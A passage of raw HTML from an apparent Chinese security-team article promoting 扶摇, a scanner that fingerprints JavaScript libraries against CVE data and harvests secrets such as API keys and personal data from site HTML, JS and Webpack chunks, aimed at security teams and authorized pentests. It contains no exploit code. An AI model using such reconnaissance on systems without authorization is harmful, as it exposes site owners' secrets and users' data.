1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">1、指纹匹配及漏洞检测</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">扶摇能识别网站引用的JS库及其版本，并匹配 CVE漏洞数据库，输出风险详情及利用方式。 ✅ 支持检测的JS库： 如jQuery、Vue.js、React、Angular、Bootstrap 等主流框架 ✅ 对比已知漏洞指纹： 通过提取并匹配网页指纹，比对内置漏洞库，提示漏洞信息，提供辅助思路 📌 示例漏洞检测效果：</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100038136" data-ratio="0.4935185185185185" data-type="png" data-w="1080" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=01239c25&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RWxDqxdzfia5rZO0l2LMWtJnqib4Mrd9d5TvxLYALhFLNLMDf0YumCFte7ReGkbqB6GiaKOqHlEpLEEg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100038138" data-ratio="0.26666666666666666" data-type="png" data-w="1080" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=70b9087c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RWxDqxdzfia5rZO0l2LMWtJnfTpz9YibzRWjWa0qVLianTLnUzfAnODtawagH0UDlWntyl9wQqUkJO8g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">2、敏感信息深度挖掘</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">扶摇内置了扫描策略，可扫描HTML和JS文件中的敏感数据并导出成TXT，可以扫描到的敏感数据包括以下内容： 🔑 个人隐私信息（如身份证、电话号码、邮箱） 🔒 服务器敏感信息（IP、端口、域名、URL） 🛡️ 其他敏感配置（ak/sk、地图key、AES密钥） 📌 示例敏感信息扫描效果：</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100038137" data-ratio="0.4722222222222222" data-type="png" data-w="1080" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=7757ce1b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RWxDqxdzfia5rZO0l2LMWtJnKjHw1JYCJmVAP4rcdqEX1GBBR8CZdP7P0Mcf4DynbOaKuYzvXD8Yew%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">注：图示扫描文件由AI生成</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">3、Webpack打包检测</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">📦 Webpack打包检测 识别Webpack打包的JS文件（如app.chunk.js），对chunk映射的js进行拼接、验证存活并搜集敏感信息。 📌 示例敏感信息扫描效果：</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100038143" data-ratio="0.6240740740740741" data-type="png" data-w="1080" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=3ef90b9f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RWxDqxdzfia5rZO0l2LMWtJnWWO5UB6riaIrwnS3ZTApiaP0R7DuicicvfsQy4CYFnGpGEa4aiapQS0uHlg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">4、其他特性</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">🚀 请求头及代理自定义功能 可以对cookie(指令-c),Authorization(指令-A)以及代理(指令--proxy)内容进行自定义。</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100038142" data-ratio="0.38425925925925924" data-type="png" data-w="1080" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=bc36c208&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RWxDqxdzfia5rZO0l2LMWtJncVKtZb6eU48ke5pJNcq8TYSicuxtCvKvbeQV0exL8NqqLlMwW3SJbzw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">⚡ 高性能爬取与解析 支持 HTTPS证书绕过，适应内网环境，同时设置超时控制，避免卡死。 🛡️ 全过程无害化 工具不会主动发送POC，只做信息提示辅助测试思路。</span></p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 20px;color: rgb(255, 255, 255);background-color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 10px;padding-bottom: 10px;padding-left: 10px;padding-right: 10px;align-items: center;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 30px;border-top-right-radius: 30px;border-bottom-left-radius: 30px;border-bottom-right-radius: 30px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: center;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">三、推荐使用场景</span></span></h1><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">🔍 1. 企业安全团队</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">定期巡检Web应用，发现第三方JS库漏洞，排查员工误提交的敏感信息</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">🕵️ 2. 渗透测试</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">在授权测试中，快速定位JS漏洞攻击面，收集目标网站的敏感信息，辅助进一步渗透</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">👨‍💻 3. 开发者自检</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">检查项目依赖的JS库是否存在已知漏洞，避免硬编码敏感信息上线</span></p></div><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 20px;color: rgb(255, 255, 255);background-color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 10px;padding-bottom: 10px;padding-left: 10px;padding-right: 10px;align-items: center;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 30px;border-top-right-radius: 30px;border-bottom-left-radius: 30px;border-bottom-right-radius: 30px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: center;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">0x04 获取方式及建议反馈</span></span></h1><p data-mid="" mpa-from-tpl="t" style="width: 558px;display: flex;flex-direction: column;"><span leaf="" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 10px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;word-spacing: 0em;word-break: break-word;overflow-wrap: break-word;">获取方式：</span></p><p data-mid="" mpa-from-tpl="t" style="width: 558px;display: flex;flex-direction: column;"><span leaf="" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 10px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;word-spacing: 0em;word-break: break-word;overflow-wrap: break-word;">1、请关注Tide安全团队公众号，发送扶摇，获取下载链接。</span></p><p data-mid="" mpa-from-tpl="t" style="width: 558px;display: flex;flex-direction: column;"><span leaf="" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 10px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;word-spacing: 0em;word-break: break-word;overflow-wrap: break-word;">2、请关注知识星球【剑影安全实验室】获取工具 。</span><span leaf="" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 10px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;word-spacing: 0em;word-break: break-word;overflow-wrap: break-word;"><span style="background-color: rgba(0, 0, 0, 